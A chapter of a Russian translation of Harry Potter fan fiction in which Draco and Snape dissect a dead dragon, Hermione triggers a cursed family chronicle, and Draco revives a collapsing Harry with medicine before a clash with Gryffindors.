Клятвопреступник (Oath Breaker)

Автор: Goblin Cat KC

Перевод: Weis

Бета: atenas

Оригинал: здесь (разрешение автора на перевод получено)

Рейтинг: R (авторский; PG-15 – переводчика)

Пейринг: Драко Малфой/Гарри Поттер, Люциус Малфой/Северус Снейп

Жанр: драма/приключения

Статус: закончен

Краткое содержание: Малфои предпринимают драматичную эскападу, Драко приходится обучать Гарри темной магии, а все студенты Слизерина исчезают.

Глава 9

Мертвых драконов разместили в Большом зале, и завтрак эльфы сервировали прямо в факультетских гостиных. Стиснув в руках летопись, Драко уставился на дракона поменьше. Всего несколько часов назад эти зубы едва не порвали его в клочья, и даже теперь, когда зверь уже был мертв, юноша не мог смотреть на него спокойно.

- Так тебе и надо, мерзкий ублюдок, - пробормотал он и отвернулся.

На слизеринском столе, единственном, который уцелел после нападения, оказалось достаточно места, чтобы расставить бесчисленные банки, принесенные Северусом. Увидев их, Драко едва не рассмеялся – большинство из них запросто могли вместить первокурсника, а некоторые были величиной с Крэбба или Гойла. Было странно и даже смешно использовать такие огромные емкости - все равно, что разливать по ведрам дорогие духи. Обычно части тел драконов продавались гораздо меньшими порциями, и стоили чертовски дорого.

Кроме того, на столе хватило места и для летописи. Драко отодвинул несколько банок, положил фолиант и осторожно подул на замок ремня, стягивающего его. Тот тихонько лязгнул и открылся, ремень расстегнулся. Открыв книгу, юноша нашел и внимательно просмотрел оглавление. Обнаружив название раздела о драконах, написанное острым почерком кого-то из его предков, он перелистнул страницы.

На развороте располагались несколько подробных рисунков драконов, с методично подписанными органами и частями тела. Найдя изображение Уэльского зеленого, Драко  внимательно изучил и картинку, и заметки на полях, объясняющие, как лучше разделывать зверя. Прочитав длинную колонку текста, он вздохнул.

- Нечего вздыхать, - произнес Северус, выкладывая на стол непонятный сверток. – Все равно тебе не удастся отвертеться.

- Не в этом дело, - возразил Драко. – Просто я не думаю, что от меня будет какой-то прок. Я никогда не делал ничего подобного. Это кажется таким сложным…

- Это сложно, - согласился Мастер зелий. Он развернул сверток, в котором оказалось множество ножей странной формы, при виде которых любой нормальный волшебник содрогнулся бы от отвращения. – Но не думай, что это какое-то испытание твоих способностей. Я тоже никогда не разделывал дракона.

- Никогда? – удивился Драко. – А мама анатомировала нескольких. Ну, частично, по крайней мере.

Снейп взглянул на крестника.

- Что ж, ее опыт нелегальной торговли драконьими органами, безусловно, оказался бы нам полезен. Но она никогда не работала с целым драконом и вообще ненавидит пачкать руки, так что всю грязную работу все равно пришлось бы делать тебе. Вот, возьми, - он вручил Драко большую банку с латунной крышкой, - и начни с зубов.

Поморщившись, юноша нехотя направился к зверю и опустился на колени возле его челюстей. Пасть ящера была приоткрыта достаточно широко, и зубы можно было удалить без труда, но Драко на всякий случай заколдовал ее, открыв челюсти еще шире, и закрепив их заклинанием, чтобы не захлопнулись. Глубоко вздохнув, он крепко взялся за ближайший клык и вонзил нож вдоль корня, пытаясь подцепить его.

Вдруг голова дракона резко дернулась к нему. Драко вскрикнул, выронил нож и отпрянул, ударившись головой о край стола. Северус мгновенно обернулся, вскинув палочку, но голова зверя дернулась еще несколько раз и замерла. Челюсти, которые удерживались открытыми благодаря заклинанию, с громким щелчком сломались. Снейп опустил палочку.

- Значит, кусательный рефлекс сохраняется даже после смерти, - пробормотал он. – Очень интересно.

Ошеломленный Драко, сидя на полу у ног крестного, выдохнул.

- Ага, очень.

- Нечего рассиживаться, - сказал Северус. – Продолжай работать. Не думаю, что у тебя с ним будут еще какие-нибудь проблемы.

Драко пораженно уставился на профессора.

- Ты же не думаешь, что я стану засовывать руки ему в пасть?!

- Еще как думаю, - заявил Мастер зелий. – Давай, приступай. Пока не разделаем его, никакого отдыха.

Драко мог бы поспорить еще, но он знал, что крестный совсем не спал предыдущей ночью, а раздраженному Мастеру зелий лучше было не возражать. Подобрав с пола нож, он собрал остатки мужества и снова приблизился к голове ящера. Крепко сжав клык, юноша вонзил нож под корень и зажмурился. Ничего не произошло, и Драко легко выдернул зуб.

- Думаю, после смерти силы у них остается всего на один укус, - сказал он отчасти наставнику, отчасти успокаивая собственные нервы. – Это просто рефлекс, но все равно, будь осторожен с когтями.

- Очень своевременное замечание, - сухо отозвался Северус, но Драко заметил, что он сделал пометку в летописи.

Юноша принялся один за другим вырывать зубы и складывать их в банку, стоящую у его ног. Когда он подобрался к клыкам, расположенным в глубине пасти, мантия  начала цепляться за их острые кончики. Драко снял ее и бросил на пол. Теперь, когда сердце зверя остановилось, остающиеся дыры кровоточили не так уж сильно, но все равно руки юноши почти сразу перепачкались в крови. Последний клык держался очень крепко. Драко пришлось схватить его обеими руками и налечь всем телом, прежде чем зуб выскользнул из челюсти, забрызгав лицо и одежду юноши кровью. К корню прилипли  клочки розовой плоти.

- Я закончил, - процедил Драко, бросая клык к остальным и закрывая банку.

- Теперь займись глазами, - отозвался Северус, не поворачиваясь. Начав чуть выше левой щиколотки, он тонким ножом снимал кожу с лапы зверя, аккуратно подрезая ее. Пока Драко возился с зубами, профессор успел освежевать почти всю лапу.  – Постарайся вытащить их, не повредив.

- Отлично… - пробормотал юноша, отправив банку с зубами на стол и взяв пустую. Заглянув в летопись, он поискал заметки о том, как правильно вытаскивать глаза.

- Снятие шкуры… крылья… огневые мешки в глотке – потом надо будет глянуть на это повнимательней, - пробормотал он. – Зубы, язык, а, вот, глаза. «Засунуть ладони в глазницы и обхватить глазное яблоко, вытащить, и обрезать нервные волокна. Хранить в драконьей крови».

Конечно, звучало это отвратительно, но лучше возиться с глазами, чем засовывать руки зверю в пасть. Вернувшись к дракону, юный слизеринец поставил банку на пол и только тут понял, что ему понадобятся обе руки, а значит надо куда-то девать нож. Осторожно зажав лезвие в зубах, он закатал рукава и поднял ящеру веко. Просунув ладони между глазным яблоком и костью глазницы, и ощутив под пальцами теплую слизь и кровь, Драко поморщился. Ладони легко скользнули вперед, но он все еще не дотянулся до связки, удерживающей глаз на месте, и продвинул руки еще дальше, по локоть. Наконец, когда пальцы рук соприкоснулись, он потянул глаз на себя. Тот легко выскользнул, и Драко пришлось осторожно прижать его к себе одной рукой, чтобы обрезать волокна, соединяющие глаз с мозгом. Вскоре он весь перемазался слизью, кровью и какой-то белесой жидкостью, вытекающей из глаза. Когда он вытащил второй, его одежда промокла насквозь.

- Готово, - сказал он, поставив банку на стол, и осторожно снял рубашку, оставшись только в брюках и ботинках.

- Теперь вырежи педоту, -  велел Северус.

Драко недоуменно моргнул. Это что еще такое? Вернувшись к летописи, он пригляделся к рисунку, стараясь разобрать крошечные подписи и линии, ведущие от них к органам.

- Педота, - сказал он книге, и это слово вспыхнуло в тексте огненными буквами. Проследив, к какой части рисунка ведет стрелка, юноша разглядел крошечное пятнышко прямо за челюстями, чуть повыше глотки, небольшую косточку, которая всегда оставалась горячей и воспламеняла выдыхаемые газы.

Ужаснувшись, Драко сначала ошеломленно поглядел на Северуса, а потом на раскрытые челюсти дракона. Да, он как-то вытащил все зубы, но если зверюга благодаря дурацкому рефлексу может кусаться после смерти, то вдруг она может и глотать? У дракона в пасти не хватало места, чтобы стоять или хотя бы сидеть на корточках.

- Ты хочешь, чтобы я залез к нему в пасть? – спросил юноша, стараясь говорить спокойно и понимая, что у него не получается. – Ты понимаешь, что если я хотя бы попытаюсь, тебе придется вырезать меня у него из желудка?..

- А если не попытаешься, то я использую тебя для пополнения своих запасов, - отозвался Снейп, срезая шкуру с лапы. – У меня как раз заканчивается чистая кровь, и, думаю, даже твоя на что-нибудь сгодится. 

Услышав такое оскорбление, Драко онемел от ярости и едва не вытащил палочку, чтобы проклясть наставника. То, что в его жилах течет кровь виверны, не давало Северусу права порочить весь их род. Но, если быть до конца честным, Драко понимал, что крестный просто не в настроении спорить с нервным Малфоем, и так же оскорбительно резок он был бы и с его отцом. Устраивать истерику было бесполезно, поскольку Мастер зелий привык к гораздо более впечатляющим вспышкам гнева Люциуса.

Скорчив недовольную гримасу, Драко схватил со стола самый длинный нож и подошел к пасти дракона, уставившись в темную бездну, куда он едва не отправился в качестве ужина несколько часов назад. Приглядевшись, он заметил бледное сияние педоты возле самой глотки.

Юноша поморщился, опустился на колени и осторожно коснулся языка зверя. Ничего не произошло. Драко принялся потихоньку забираться внутрь, внимательно следя за тем, не напрягутся ли мускулы, не дрогнет ли язык. Он утешал себя тем, что, по крайней мере, слюна высохла, сделав его задание менее отвратительным.  

До глотки он добрался без неприятных неожиданностей. Косточка оказалась теплой на ощупь, но не горячей. Юноша легко вырезал ее и, к его удивлению, даже после этого она продолжала светиться. Его руки испачкались еще больше, и немного крови даже попало ему на шею, когда он повернулся и пополз обратно.

- Мерлин, он забрался дракону в рот!

А, троица. Просто замечательно. Слизеринец, нахмурившись, выбрался наружу с ножом в одной руке и светящейся костью в другой. Уизли удивленно вытаращился на него, да и по одинаково недоуменному выражению лиц Поттера и Грейнджер также было ясно, что никто из них раньше не видел, как разделывают дракона.

Когда Гарри поглядел на него, у Драко перехватило дыхание. Сегодня глаза гриффиндорца блестели особенно ярко, чуть ли не лихорадочно. Совсем забыв о том, что у него грязные руки, Драко отбросил челку назад, измазав кровью светлые пряди.

- Разве у вас нет занятий? – спросил он, проходя мимо троицы.

- Сегодня занятия отменили, - ответила Грейнджер. – Дамблдор велел нам быть здесь.

- А ты не можешь снова забраться ему в рот? – ехидно спросил Уизли, высматривая, куда бы сесть, но все стулья были разбиты в щепки во время нападения. – Может, он тебя проглотит. Если бы он уже не был мертв, то сдох бы от яда.

- Рон… - многозначительно произнесла Грейнджер.

- Ты весь в крови, - сказал вдруг Поттер, оглядев Драко с головы до ног. Смутившись, что его застали в таком виде, тот покраснел и снова откинул волосы назад, испачкав щеку. Не удержавшись, он покосился на одежду Гарри – странный маггловский наряд, из которого Золотой мальчик почти вырос.

- Подумаешь, - пожал он плечами, укладывая все еще светящуюся педоту в банку.

- Да, Гарри, ничего особенного, - поддакнул Уизли. – Я слышал, темные маги обожают кровавые ванны. Понимаешь, кровь для них вроде материнского молока.

- Разумеется, - сухо заметил Драко. – Мне ужасно не хватало этого в последнее время. Может, твоя сестренка сгодится на что-нибудь, Уизли? Как ты думаешь? А то вас слишком много…

- Держись подальше от Джинни! – вспылил рыжий. Поттер и Грейнджер уставились на него, удивленные тем, что он воспринял слова Драко всерьез. – Богом клянусь, если я когда-нибудь увижу тебя в одной с ней комнате…

- Довольно, - из-за драконьей головы появился Снейп с двумя здоровенными лапами. – Если директор посчитал нужным прислать вас сюда, - заявил он, с презрением глядя на гриффиндорцев, - то сядьте и ведите себя тихо. Драко, теперь срежь чешую у него с морды.

Он вышел, левитируя перед собой несколько банок с органами дракона. Уизли и Грейнджер не оставалось ничего другого, кроме как усесться прямо на пол. Порывшись в сумке, девушка вытащила учебник, и Уизли немедленно принялся жаловаться, что она слишком много занимается. Гарри все еще стоял и таращился на перепачканные кровью лицо и руки Драко, беззастенчиво наблюдая за каждым его движением. Заметив странное поведение друга, Уизли не стал ничего говорить, решив, видимо, что тот бдительно следит за врагом.

Почувствовав, что под пристальным взглядом Поттера он краснеет еще больше, Драко повернулся к летописи. Ему не хотелось привлекать к себе внимание и подставляться под насмешки Уизли, но взгляд Золотого мальчика заставлял его чувствовать себя неуютно. Ему хотелось одеться. Чертыхнувшись оттого, что чистые мантии находятся аж в подземельях, а ближайшая безнадежно испорчена, он сосредоточился на инструкциях, как правильно срезать чешую.

- Это твоя летопись? – мягко спросил Гарри.

Драко вздрогнул.

- Черт! Не подкрадывайся ко мне так, - прошептал он, оглядываясь на гриффиндорца, который смотрел в книгу через его плечо. Драко чуть отодвинулся и едва успел перехватить Поттера за запястье, когда тот потянулся к фолианту.

- Не трогай. Она заколдована. К ней нельзя прикасаться никому кроме урожденных Малфоев.

- Даже твоей матери? – спросил Гарри.

- Ей можно, но только потому что отец поделился с ней кровью, - Драко понял, что продолжает сжимать запястье Поттера. Его кожа была гораздо бледнее, чем у гриффиндорца, и, хотя он не был таким уж маленьким, по сравнению с рукой Гарри его ладонь выглядела хрупкой. Вспомнив, что на первом курсе они были одного роста, он удивился, что за шесть лет Золотой мальчик так его перегнал. Драко отпустил руку Поттера, невзначай скользнув кончиками пальцев по его запястью, и повернулся к книге.

- Кто это нарисовал? – спросил Гарри. – Очень красиво.

- Кто-то из моих предков, - рассеянно ответил Драко. – Там есть подпись, внизу, - он вгляделся в мелкие буковки. -  Жаннет Д’Абади Малфой… - имя показалось ему знакомым. Почему-то возникло ощущение тесноты, воспоминание о холодном полу и железных решетках. Чем напряженнее он думал, тем отчетливей становилась картинка, пока, наконец, перед его мысленным взором не появилась девушка, распростертая на грязном полу тюремной камеры и кашляющая кровью. В одном из своих кошмаров он ощущал то же, что чувствовала она перед смертью.

- Магглы убили ее, - прошептал он. – После того, как под пытками она рассказала убогие истории про дьявола, которые им хотелось услышать. Она умерла в ожидании казни, - он ласково провел пальцами по рисунку крыла. – Я не знал, что это нарисовала она.

Немного помолчав, Гарри сказал:

- Ты так хорошо знаешь историю своей семьи…

- Только их последние минуты перед смертью, - ответил Драко и решительно взял самый короткий нож. – Если ты не возражаешь, мне надо работать. Это гриффиндорцы могут наслаждаться отдыхом, а мне некогда рассиживаться.

Сердито поглядев на него, Поттер отошел и сел рядом с друзьями, отмахнувшись от обеспокоенных расспросов  Грейнджер по поводу его кашля.

Вернувшись к голове зверя, Драко начал срезать тяжелые чешуйки, одну за другой. Подцепляя и приподнимая ножом каждую пластинку, он обрезал мягкую соединительную ткань, потом опускал чешуйку в банку и принимался за следующую. По его рукам тут же заструилась кровь, но он по опыту знал, что лицевые раны всегда сильно кровоточат, даже если сердце больше не бьется. Обычно очень горячая, кровь чудовища уже успела остыть и теплыми ручейками стекала по рукам и плечам юноши. Вскоре его грудь и спина оказались перепачканы – чтобы достать до лба и бровей ящера, слизеринцу приходилось высоко поднимать руки. Несколько темно-красных капель побежали по животу.

Быть учеником мастера означало, что Драко достается любая грязная работа, которую не желает делать наставник. Стараясь, чтобы драконья кровь не попала в глаза, юноша попытался утешиться мыслью, что она считается полезной для здоровья. Конечно, она должна быть горячей и дымящейся, и отмокать в ней должен светлый волшебник, победивший дракона. Драко никогда не встречал истории, где героем, повергшим чудище, был бы темный маг. Они лишь свежевали их, словно падальщики.

Что не так уж далеко от правды.

«Лучше быть падальщиком, чем поджаренным волшебником», - философски заключил юный Малфой.

Внезапно раздался оглушительный хлопок и сразу за ним - отчаянный крик Грейнджер. Вздрогнув, Драко едва не отсек себе палец. Обернувшись, он увидел, что всезнайка висит в воздухе, подхваченная странным темным вихрем, и беспомощно молотит руками и ногами. Гарри попытался дотянуться до нее, но ветер, взревев, перевернул девушку вверх тормашками и легко отбросил руку гриффиндорца. Левитирующее заклинание Уизли попросту исчезло в темной стене ветра. Проследив за основанием смерча, Драко обнаружил, что он упирается в летопись.

- Ага, - заметил он, - так вот что там за проклятье.

Неудивительно, что Северус называет Малфоев показушниками.

- Малфой! – завопил Уизли. – Опусти ее вниз, немедленно!

- Она сама виновата, - пробормотал Драко. Гораздо больше тревожась за сохранность старинного фолианта, он подобрался поближе, так, чтобы вихрь не задел его, и схватил книгу. Смерч не утихал. Драко попытался закрыть летопись, но его усилия привели лишь к тому, что ветер подул еще сильнее, стремительнее завертев Грейнджер и зашелестев страницами. Чем больше старался слизеринец, тем яростнее бушевал вихрь. Последние несколько дюймов оказались самыми сложными.

Вдруг вокруг Драко обвились теплые руки, и от удивления он едва не подпрыгнул. Ощутив за спиной крепкое тело, он оглянулся и увидел Гарри. Тот положил свои ладони поверх его, объединяя их усилия, и сказал:

- Не отпускай.

Только тогда книга начала закрываться. Теперь обезумевший ветер не только набрасывался на Грейнджер, но и бешено завывал вокруг двух ловцов. Драко крепче прижался к Гарри, старясь хоть немного укрыться, и услышал его тяжелое дыхание. Наконец книга захлопнулась. Грейнджер упала прямо в руки Уизли, и они вместе повалились на пол. Рыжий зарычал и в бешенстве поглядел на Малфоя.

- Ты, мерзкий хорек! Ты специально это сделал!

Увидев, что тот оглядывается в поисках палочки, Гарри встал между ним и Драко.

- Он тут не при чем, Рон. Это всё книга. Ее нельзя трогать никому кроме Малфоев.

- И ты не предупредил Гермиону?! – рявкнул Уизли. – Ты же знаешь, она не может устоять перед открытой книгой!

Драко положил фолиант на стол и презрительно посмотрел на Грейнджер.

- Мир не вращается вокруг твоих жалких желаний. Тебе бы стоило научиться понимать, куда лезть не следует. Тебе еще повезло, что проклятье тебя не задушило.

- Как будто тебя это волнует! – завопил Уизли, и вскочил, забыв о палочке. – Ты наверняка с удовольствием разделал бы ее на ингредиенты! Человеческие органы…

- Вздор, - фыркнул Драко, стараясь держаться позади Гарри. – Ее кровь недостаточно чистая, чтобы сгодиться хоть на что-нибудь.

Гарри сердито оглянулся на него.

- Заткнись, Малфой! Чистота крови не имеет никакого значения, и ты это прекрасно знаешь.

- Кровь – это все, Поттер, ты еще не понял?

- Черт! Как ты можешь быть таким идиотом? – воскликнул Гарри, стремительно повернувшись к нему. Драко испуганно шагнул назад. – Гермиона - самая умная ведьма во всей школе. Магглорожденные волшебники ничуть не хуже остальных. Почему ты без конца твердишь, что чистота крови так важна?

- Потому что это так! И я не стану выслушивать поучения того, кто даже не потрудился узнать историю мира, который якобы обязан защищать! – рявкнул Драко. – Я знаю, что у тебя нет летописи, но ты мог бы, по крайней мере…

- Летописи?

Драко замолчал, и все трое юношей оглянулись на Грейнджер. Отдышавшись, наконец, она закашлялась и поднялась, держась за руку Уизли.

- Книга? – переспросила она, все еще пошатываясь. – Это сделала книга?

- Она защищается от воров и от тех, кто сует свой нос в чужие дела, - безо всякого сочувствия ответил Драко. – По крайней мере, ты не отравилась. Обычно книги защищают именно так.

- Но это же… - Грейнджер с отвращением поглядела на Драко. – Да что с вами такое? Вы, темные маги, проклинаете вещи, чтобы никто не мог их тронуть, не готовите ничего, кроме ядов, ваша магия вас же и убивает… магия существует не для этого!

 - Нельзя создать, не убив, - отозвался Драко, словно вспомнив что-то. – Нельзя использовать магию, если не готов пожертвовать взамен часть себя. И я не виноват, что ты этого не понимаешь.

- Не прячься за философией! – сердито закричала девушка. – Тебе нравится причинять боль! Нравится убивать! Ты улыбаешься всякий раз, думая об этом!

- Гермиона… - шагнул к ней Гарри, но она не обратила на него внимания.

- Вы говорите, что вы просто наше отражение, что без вашей тьмы не было бы и нашего света, - с отвращением произнесла она. – Но я читала книги из Запретной секции, те, что вы написали. Я знаю, как вы пытаетесь оправдать мерзкие вещи, которые творите.

Рон, побледнев, уставился на нее.

- Ты читала темные книги?..

Она не услышала его, целиком сосредоточившись на Драко.

- Все, что у вас есть – гордыня и самодовольство. Вы подчиняете мир каждому своему капризу, убиваете тех, кто в него не вписывается…

- Господи боже мой, - прошептал Драко, больше впечатленный ее темпераментом, чем словами. – Ирония происходящего делает все это почти забавным.

- …даже ваша магия омерзительна, - продолжала девушка. – Неудивительно, что вас называют темными - ваша магия похожа на грязь и смолу! Даже после того стишка я чувствую себя грязной! Как бы я хотела…

- Ты изучала темную магию? – перебил девушку Уизли, отшатнувшись и уставившись на нее. Его сжатые губы побелели.

Грейнджер замерла. Обвиняющий тон Рона пробился сквозь ее гнев и заставил ее вспомнить, где она находится. Осознав, что она сказала, Гермиона распахнула глаза и прижала ладонь ко рту, словно желая взять все сказанное назад.

- Рон… я не… то есть…

- Ты врала мне, - тот поглядел на нее с таким же отвращением, с каким она сама только что смотрела на Драко. –  Каждый раз, когда ты говорила, что была в библиотеке, на самом деле ты изучала темную магию.

- Не каждый раз, - попыталась оправдаться она. – Но я не могла позволить Гарри учить это в одиночку, и мне на самом деле хотелось понять… то есть… я не знала…

- Я сказал тебе, что темная магия – зло, но тебе этого было недостаточно? – процедил Уизли, злясь все больше с каждой минутой. – Черт подери! Ты думаешь, раз ты много читаешь, то тебе известно все на свете?

Оскорбленная до глубины души, Грейнджер упрямо расправила плечи и нахмурилась.

- Почему я должна тебе верить, если ты ничего не объясняешь? Ты просто сказал, чтобы я не задавала вопросов, что хотеть знать – это так же плохо, как…

- Что здесь происходит? – раздался голос Мастера зелий. – Десять баллов с каждого за ваши вопли. Если не способны вести себя тихо - выметайтесь.

- Отлично, - Уизли стремительно развернулся и вышел.

- Ох, ради бога… - пробормотала Грейнджер и кинулась запихивать свои книги в сумку. – Рон! Рон, подожди!

Когда всезнайка выбежала вслед за рыжим, Драко показалось, что она скорее настроена спорить дальше, а не извиняться.

- Боюсь, ты остался без друзей, - обратился он к Поттеру.

- Этого следовало ожидать, - ответил тот, прислонившись к стене. – Они спорили целыми днями. Через неделю-другую все наладится.

Снейп подошел к ним и положил на стол стопку полотенец.

- Что тут случилось?

- Грейнджер хотела почитать летопись, - объяснил Драко. – Ее закрутило в смерч и едва не удушило.

- Хм… ясно, - кивнул Северус. – И Уизли не попытался тебя убить?

- Он хотел, но Поттер его остановил, - Драко слегка улыбнулся. – К слову о недопонимании собственной культуры.

- Хм, - Снейп взглянул на Гарри, который мрачно уставился на него в ответ. – Что ж, хоть кто-то серьезно относится к словам директора, - он отошел и вернулся к своей работе.

- Что, никаких баллов Гриффиндору за добросовестное выполнение обязанностей телохранителя? – дерзко поинтересовался Поттер.

Северус мельком поглядел на него.

- Не будь таким наивным. От меня ты не дождешься баллов, даже если спасешь мир, - и исчез за тушей дракона. Гарри едва не зарычал.

- Как ты его терпишь?

- Ко всему можно привыкнуть, - пожал плечами Драко, снова открывая летопись. Заметив, что Гарри все еще сердится, он вздохнул и облокотился о стол. – Если не обращать внимание на его подначки, а повнимательней присмотреться к поступкам, то становится ясно, что он довольно справедлив.

- Только к слизеринцам. Он противный, мелочный и ужасно ведет себя со всеми вокруг.

- Ну, он лишь платит им той же монетой, что и они ему, - Драко взглянул на гриффиндорца. –  Разве ты не пойдешь за друзьями?

Гарри покачал головой и уселся на стол, болтая ногами.

- Нет, я только все испорчу. И потом, кому-то надо остаться с тобой.

- Как хочешь. Можешь почиститься, кстати. Ты весь перемазался в крови.

- Что? – оглядев руки и одежду, перепачканные кровью там, где он касался Драко, Гарри застонал. 

Слизеринец тем временем продолжил срезать чешую, каждые несколько минут украдкой поглядывая на Поттера. Теперь, не отвлекаясь на Уизли и Грейнджер, он заметил, каким бледным и изможденным выглядит Золотой мальчик. Гарри обессилено прислонился к стене, опустил голову и сидел неподвижно, лишь кашлял время от времени. Немного погодя он заметил, что Драко смотрит на него, и уставился на слизеринца в ответ. Тот вздрогнул. Взгляд Поттера казался не просто пронизывающим - его глаза, особенно яркие по контрасту с бледной кожей, блестели, словно изумруды, и чуть ли не светились. Что еще более странно, Драко через ползала слышал хриплое, неровное дыхание Поттера. Он задумался: тот просто заболел, или это сказывается что-то случившееся в прошлом году? Может, Гарри укусил оборотень?

Учитывая, что до полнолуния осталось несколько дней, это могло бы объяснить тяжелое дыхание. Если так, то неудивительно, что Поттер беспокойно шатается ночами по школе и бродит по улице в буран. Но в таком случае даже Дамблдор не позволил бы ему свободно разгуливать по окрестностям в виде волка. Срезая последние чешуйки, Драко решил, что вряд ли дело в этом.

Когда он закончил, голова ящера была больше похожа на экзотическое блюдо, чем на дракона. Освежеванный и лишенный своих наиболее заметных частей, ящер превратился просто в большую груду плоти. Совершенно бесполезной – вспомнил юноша – драконье мясо годилось только на бифштексы и не представляло никакой ценности для зельеварения.  После удаления кожи и чешуи, кроме них можно было использовать только кости, кровь, связки и внутренние органы.

- Хм… интересно, могли бы эльфы зажарить его для нас? - задумался он. Услышав позади какой-то шум, Драко оглянулся. Гарри спрыгнул со стола и, пошатываясь, направился к выходу. Придерживаясь одной рукой за стол, другую он прижимал ко лбу и не поднимал взгляд от пола.

- Неужели мой телохранитель покидает меня так скоро? – окликнул его слизеринец.

- Я вернусь через пару минут, - со стоном ответил Гарри. – Мне нужно в туалет.

Драко смотрел ему вслед, пока резкий окрик Северуса не вернул его к работе. Каждая драконья чешуйка весила с галлеон. Поднять их все было невозможно. Юноша левитировал полную чешуи банку на стол и опустил ее рядом с полотнищами драконьей шкуры, что разложил там Мастер зелий. Чешуйки слегка постукивали друг о друга. Кожа Драко зудела от крови, и он потратил несколько минут на то, чтобы вытереться. Весь Большой зал заполонил тяжелый, острый запах, вызывающий у Драко тошноту, и юноша порадовался, что они с крестным не стали завтракать. Иначе его просто вырвало бы.

«Наверное, именно поэтому Гарри ушел», -  решил юный слизеринец. Посмотрев туда, где сидел Поттер, он увидел маленький пустой пузырек и, нахмурившись, поднял его. На стенках остались бледно-голубые потеки. Драко знал, что этот пузырек не из запасов Северуса. Что за странные зелья принимает Золотой мальчик?

Вдруг из коридора послышался звон бьющегося стекла и вскрик Гарри. Не успело утихнуть эхо, Драко с палочкой в руке кинулся туда.

Выскочив за дверь, он увидел, что гриффиндорец, опираясь на локоть, лежит на полу в нескольких ярдах от двери и близоруко щурится, пытаясь нащупать очки. И Поттер, и пол вокруг него были усыпаны осколками - расположенное рядом окно разлетелось вдребезги.

- Не шевелись! – велел Драко и, заметив неподалеку очки, левитировал их Гарри в руки, а потом осторожно смахнул с него битое стекло. Но вместо того, чтобы встать, Поттер застонал и откинулся на спину. Его руки и лицо покрывали тонкие порезы, но не это, а смертельная бледность и натужное дыхание подсказали Драко, что  все гораздо серьезней. Взволнованный, он опустился рядом с гриффиндорем на колени. Его пальцы коснулись чего-то влажного, и он поглядел на пол. В небольшой белой лужице лежали осколки маленького пузырька.

- Что такое? – удивленно прошептал Драко.

- Ле… лек… - просипел Гарри. – Помфри… - захрипел он и задрожал.

- Лекарство, ясно, - судя по всему, Поттер вышел принять какое-то лекарство, которое дала ему Помфри, тут разбилось окно, и он уронил пузырек - как раз тогда, когда он был ему особенно необходим. Решив побеспокоиться об окне попозже, Драко быстро оторвал кусок полы от изношенной рубашки гриффиндорца и опустил лоскут в белую жидкость на полу, стараясь пропитать его как можно лучше. Зелья едва хватило, чтобы смочить ткань. Драко поднял лоскут и поморщился - судороги Гарри стали сильнее. Вести его в лазарет не было времени.

- Постарайся вдохнуть, Поттер, - велел он и приложил ткань к приоткрытому рту гриффиндорца. Тот дышал отрывисто и неглубоко, и никак не мог вдохнуть достаточно. У Драко не осталось выбора. Наклонившись, он прижался губами к ткани и вдул лекарство гриффиндорцу в рот. Случайно вдохнув пары неизвестного зелья, он закашлялся, но продолжал вдувать их Поттеру. Приноровившись, он выдыхал, когда гриффиндорец делал вдох, и отворачивался. Где-то после седьмого раза дрожь Гарри утихла и он задышал спокойнее, вцепившись в плечо Драко, словно пытаясь удержаться. Несмотря на то, что он лежал на полу, ему казалось, что он падает. Он уже выглядел немного лучше, но Драко еще несколько минут помогал ему вдохнуть остатки зелья, и Гарри не пытался его остановить. Наоборот, он притянул его ближе, и слизеринец опустился ниже, устроившись поудобнее.

Наконец Малфой отодвинулся и тыльной стороной ладони вытер лекарство с губ, измазав их кровью.

- Полегчало?

Ровно дыша, Гарри кивнул. Он выглядел бледным и уставшим, но не полумертвым, как раньше.

- Да, - он надел очки и глубоко вздохнул. – Что ты сделал? Искусственное дыхание?

- В смысле? – Драко наклонил голову. – Ты не мог вдохнуть, и я сделал это за тебя. Тебе, наверное, нужно к Помфри, ты же не получил полную дозу лекарства.

- О… - приподнявшись на локтях – дальше он все равно подняться не мог, поскольку Драко все еще нависал над ним, Гарри с любопытством взглянул на него. – Спасибо.

Они полулежали практически нос к носу и смотрели друг на друга. Удивительно, но на этот раз взгляд гриффиндорца не вызвал у Драко дрожи и желания немедленно отвернуться. Наоборот, глаза Гарри казались завораживающими. Слизеринцу показалось, что в них можно утонуть.

- Просто смотри, чтобы меня никто в этом не обвинил. Очередной несчастный случай, мы оба здесь… «Пророк» обязательно заявит, что я пытался тебя убить.

- А ты пытался?

Драко моргнул.

- Нет. Я… - Поттер пристально уставился на него. Драко замолчал и замер. Ему показалось, что он парит, в голове раздались приглушенные голоса Снейпа, Дамблдора, матери… Юноша снова услышал, как отец говорит ему, что он самый настоящий рыцарь, но с инициацией нужно подождать до следующей Вальпургиевой ночи…

- Рыцари Вальпургии? – спросил Поттер. Только тут Драко понял, что тот копается у него в голове. Он вскрикнул, зажмурился и отвернулся, отчаянно пытаясь нашарить палочку.

- О, боже, Малфой, - расстроено воскликнул Гарри, схватив слизеринца за плечи. – Прости, я не… то есть, я не могу…

Не открывая глаз, Драко попытался отодвинуться, но Поттер не отпускал его. От мысли, что тот владеет легалименцией, Драко затошнило. Неудивительно, что он не может долго смотреть в глаза Золотому мальчику. Он мысленно извинился перед Северусом за свое нытье по поводу окклюменции. Постоянное желание отвернуться, когда Поттер смотрел ему в глаза, вероятно, до сих пор уберегало его мысли.

- Как ты мог? После того, что я…

- Я не хотел, - торопливо заверил его гриффиндорец. – Я еще учусь и иногда вижу что-то, сам того не желая…

Внезапно раздались торопливые шаги и битое стекло захрустело под чьими-то подошвами.

- Убирайся от него, Малфой!

Стремительно обернувшись, Драко увидел, что к ним бегут Уизли, Грейнджер и еще несколько гриффиндорцев. Он вдруг осознал, что все еще нависает над Поттером и весь перемазан в крови. Нащупав, наконец, палочку, он едва успел откатиться в сторону, и «ступефай» Грейнджер пронесся в дюйме от его головы. «Инсендио» обожгло место, где он находился секунду назад. Лежа на боку, он прицелился в первое, что увидел – рыжие волосы Уизли – и выкрикнул, словно призыв:

- Hrofana!

Все студенты не раз видели птичек, вылетающих из палочки, но не таких огромных, как вороны, призванные Драко. Птицы моментально заполонили коридор, заслонив свет. Разъяренная стая полетела прямо на гриффиндорцев, распахнув клювы и царапаясь.

Рассчитывавший убежать, пока нападавшие отвлеклись, Драко не успел даже шевельнуться – коридор залил яркий свет, уничтожив ворон и ослепив всех. Через пару секунд перед глазами перестали мельтешить разноцветные пятна, зрение вернулось, и слизеринец услышал голоса МакГонагалл и Снейпа.

- Что здесь происходит? – спросила ведьма, опуская палочку.

